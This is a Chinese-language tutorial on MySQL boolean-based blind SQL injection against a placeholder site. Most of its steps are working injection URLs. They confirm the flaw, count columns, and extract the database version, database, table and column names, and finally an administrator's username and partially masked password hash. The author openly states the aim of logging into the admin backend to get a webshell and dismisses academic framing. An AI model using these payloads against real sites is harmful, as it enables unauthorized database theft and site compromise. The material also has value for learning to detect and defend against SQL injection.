Sql注入入门 之 Mysql 布尔型盲注
1,实例 mysql 盲注点,如下,虽然这并不是个标标准准的盲注点,但并不影响我们用盲注的方式来获取数据,以后遇到纯正的盲注点,我们再补充:1
http://www.vuln.com/wexpage.php?id=21
2,一阵单引号过后,目标数据库如期报错,对于mysql来讲,一般出现这情况,百分之九十九可以确定这就是个正儿八经的注入点1
http://www.vuln.com/wexpage.php?id=21'
3,尝试闭合,还是前面的问题,不要一眼看到数字就认定它是个数字型注入,比如该实例就又是个字符型注入,我们只需闭合前面的单引号注释掉后面的语句就可以了1
http://www.vuln.com/wexpage.php?id=21' and 121=121 %23 条件为真时,页面返回正常
1 | http://www.vuln.com/wexpage.php?id=21' and 121=1 %23 条件为假时,页面返回错误,到这一步可以确认它确实是个注入点 |
4,按照以往的流程,我们接下来应该是查询当前表的字段个数,然后执行union,流程如下1
http://www.vuln.com/wexpage.php?id=21'order by 7 %23 字段为7个时,目标页面返回正常
1 | http://www.vuln.com/wexpage.php?id=21'order by 8 %23 字段个数为8时,页面返回异常,可知当前表的字段个数为7个 |
执行union,爆出对应的数据显示位,好,关于利用union注入的方式,我们到此打住,今天的重点主要是为了说明如何进行布尔型盲注,而非union的方式注入,这里顺带再次提及union的目的只是为了告诉大家,一个注入点,我们通常有n种注入方式,当某种方式受限时,不妨多换换姿势,尽量不要一条道走到黑,反正我们最终的目的只是为了拿到管理员账号密码登到后台获取webshell,至于具体用什么方法,无所谓,怎么快怎么来,毕竟我们这里并不是在做学术研究1
http://www.vuln.com/wexpage.php?id=21' and 1=2 UNION SELECT 1,2,3,4,5,6,7 %23
5,好,啰嗦了一堆废话,正式开始今天的布尔型盲注,不过,在此之前我们还需要搞清楚一些问题,既是盲注,也就意味着,它不需要报错,不需要知道准确的字段个数,更不需要数据的显示位,归根结底它只关心一点,也就是,我们自己的sql到底有没有被执行成功,那么,又该怎么判断我们的sql有没有执行成功呢,其实很简单,如果是布尔型盲注,直接观察页面的返回正常与否即可,如果是时间盲注,看它是不是按照自己规定的延迟时间来响应的,等等……
6,说了这么多,我们现在回到正题,”布尔型”盲注,因为布尔型盲注没有任何参考,只能靠观察目标页面的返回来判断我们的语句是否执行成功,所以我们只能通过一位位的字符截取然后逐个对比判断来获取准确数据,如下,搜集目标数据库相关信息
截取数据库版本名称的第一位字符并返回其ASCII码值,当它等于我们所指定的值时,页面返回正常,此时去查出这个值对应的ASCII码字符是什么,后面都是如此,你可以依次递增,查出完整的数据库版本,这里为了节约篇幅,中间的过程就省略了,最后,查出完整的版本号为 ‘5.6.35’1
http://www.vuln.com/wexpage.php?id=21' and (select ascii(substring((select version()),1,1))=53) %23
截取当前数据库名称的第一位字符并返回其ASCII码值,依次递增,即可查出完整的数据库名称,完整的数据库名称为’wexnepal_2012’1
http://www.vuln.com/wexpage.php?id=21' and (select ascii(substring((select database()),1,1))=119) %23
截取当前数据库用户名的第一位字符并返回其ASCII码值,依次递增,查出完整的用户名,完整的用户名为‘wexnepal_2012@localhost’1
http://www.vuln.com/wexpage.php?id=21' and (select ascii(substring((select user()),1,1))=119) %23
7,尝试获取所有的数据库名(依然是那句话,’所有’指的是你有权限看到的)
获取第一个数据库名的第一位字符,并返回其对应的ASCII码值,依次递增查出完整信息,第一个数据库名为’information_schema’1
http://www.vuln.com/wexpage.php?id=21' and (select ascii(substring((select schema_name from information_schema.schemata limit 0,1),1,1))=105) %23
获取第二个数据库名的第一位字符,并返回其对应的ASCII码值,依次递增查出完整信息,第一个数据库名为’wexnepal_2012’1
http://www.vuln.com/wexpage.php?id=21' and (select ascii(substring((select schema_name from information_schema.schemata limit 1,1),1,1))=119) %23
8,接着,获取’wexnepal_2012’库中的所有表名
获取第一张表名的第一位字符,并返回其对应的ASCII码值,依次递增把当前库中的所有表名都查出来即可,最后,确认实际的管理表名为 ‘tbl_admin_user’1
http://www.vuln.com/wexpage.php?id=21' and (select ascii(substring((select table_name from information_schema.tables where table_schema=0x7765786e6570616c5f32303132 limit 0,1),1,1))=116) %23
9,有了管理表名,下一步就该把该表中的所有字段名都查出来了,依旧是上面的方法
查询’tbl_admin_user’表中的第一个字段名的第一位字符,并返回其对应的ASCII码值,最后确认实际的账号密码字段名分别为’admin_username’,’admin_password’1
http://www.vuln.com/wexpage.php?id=21' and (select ascii(substring((select column_name from information_schema.columns where table_name=0x74626c5f61646d696e5f75736572 limit 0,1),1,1))=97) %23
10,现在管理表名字段名都有了,下一步只需要慢慢把每个字段对应的实际数据查出来即可
获取’admin_username’字段下的第一条记录的第一位字符,并返回其对应的ASCII码值,依次递增,查出完整用户名即可1
http://www.vuln.com/wexpage.php?id=21' and (select ascii(substring((select admin_username from tbl_admin_user limit 0,1),1,1))=119) %23
获取’admin_password’字段下的第一条记录的第一位字符,并返回其对应的ASCII码值,依次递增,查出完整密码数据即可1
http://www.vuln.com/wexpage.php?id=21' and (select ascii(substring((select admin_password from tbl_admin_user limit 0,1),1,1))=49) %23
11,最终,得到的管理员账号密码完整数据如下:1
wexnepal:194fb91445ebd552e7ab75457*****
一点小结:
这里只是简单说明了盲注里面的最基本的一种方法(基于布尔的盲注),另外还有基于时间和错误的盲注,思路流程几乎是一模一样的,同样是一位位字符的截取,只是用的函数不一样而已,换汤不换药,稍微改下语句即可,非常简单,这里就不再重复啰嗦了,大家可以看到,既是是盲注,也并不是什么很高深的注入技术,所有的复杂都是基础堆积的结果,最多可能只是在这之前,大家都没想到原来还可以这么查数据而已,可能有些繁琐,但语句还是非常好理解的,关键在于大家对各种数据库单行函数的理解和灵活应用,自己要记得多实践,以不断加深自己对盲注的理解,另外,如果真的是手工这样猜,肯定会累死,实际中我们更多都是配合burpsuite一起来完成整个过程